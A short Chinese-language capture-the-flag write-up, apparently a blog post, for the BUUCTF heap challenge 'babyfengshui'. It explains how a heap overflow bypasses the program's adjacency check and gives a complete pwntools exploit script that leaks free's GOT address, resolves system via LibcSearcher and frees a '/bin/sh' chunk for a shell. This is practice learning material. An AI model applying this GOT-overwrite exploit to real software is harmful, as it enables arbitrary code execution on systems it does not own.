buuctf babyfengshui

日常堆题不会我啃了2天是个硬骨头~~
这道题
buuctf babyfengshui_第1张图片
直接套调试过程

add(0x80,0x80,'aaa')
add(0x80,0x80,'bbb')
add(0x8,0x8,'/bin/sh')

buuctf babyfengshui_第2张图片
清楚的看见chunk的位置改变了原来相邻的chunk发生的变化然后我们就绕过了

if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )// 这里听大佬说是不能将堆的一个东西写到另一个堆上面的保护机制但是这是物理相邻的保护
    {
      puts("my l33t defenses cannot be fooled, cya!");
      exit(1);
    }

发生了堆溢出直接覆盖到下一个struct然后改成将指针改成got表的free因为以前调用过free所以存上了真实的地址我们display就会输出free表的地址然后就可以得知libc的基址再更新free表为system地址然后free第三个堆块即可获取shell

from pwn import *
from LibcSearcher import *
import pwnlib
p=process('./babyfengshui')
def debug():
	pwnlib.gdb.attach(p)
#p=remote('pwn.buuoj.cn',20002)
#p=remote('111.198.29.45',55412)
elf=ELF('./babyfengshui')
def add(size,length,text):
	p.recvuntil('Action: ')
	p.sendline('0')
	p.recvuntil(': ')
	p.sendline(str(size))
	p.recvuntil(': ')
	p.sendline('aaaa')
	p.recvuntil(': ')
	p.sendline(str(length))
	p.recvuntil(': ')
	p.sendline(text)
def dele(dex):
	p.recvuntil('Action: ')
	p.sendline('1')
	p.recvuntil(': ')
	p.sendline(str(dex))

def update(idx,length,text):
	p.recvuntil('Action: ')
	p.sendline('3')
	p.recvuntil(': ')
	p.sendline(str(idx))
	p.recvuntil(': ')
	p.sendline(str(length))
	p.recvuntil(': ')
	p.sendline(text)
def show(idx):
	p.recvuntil('Action: ')
	p.sendline('2')
	p.recvuntil(': ')
	p.sendline(str(idx))
debug()
add(0x80,0x80,'aaa')
add(0x80,0x80,'bbb')
add(0x8,0x8,'/bin/sh')
dele(0)
add(0x100,0x19c,'a'*0x198+p32(elf.got['free']))

show(1)
free_addr=u32(p.recvuntil('\xf7')[-4:])
log.success('free-addr: '+hex(free_addr))
libc=LibcSearcher('free',free_addr)
system_addr=libc.dump('system')+free_addr-libc.dump('free')
update(1,0x4,p32(system_addr))
dele(2)
p.interactive()



师傅们带带我

你可能感兴趣的:(题目,学习)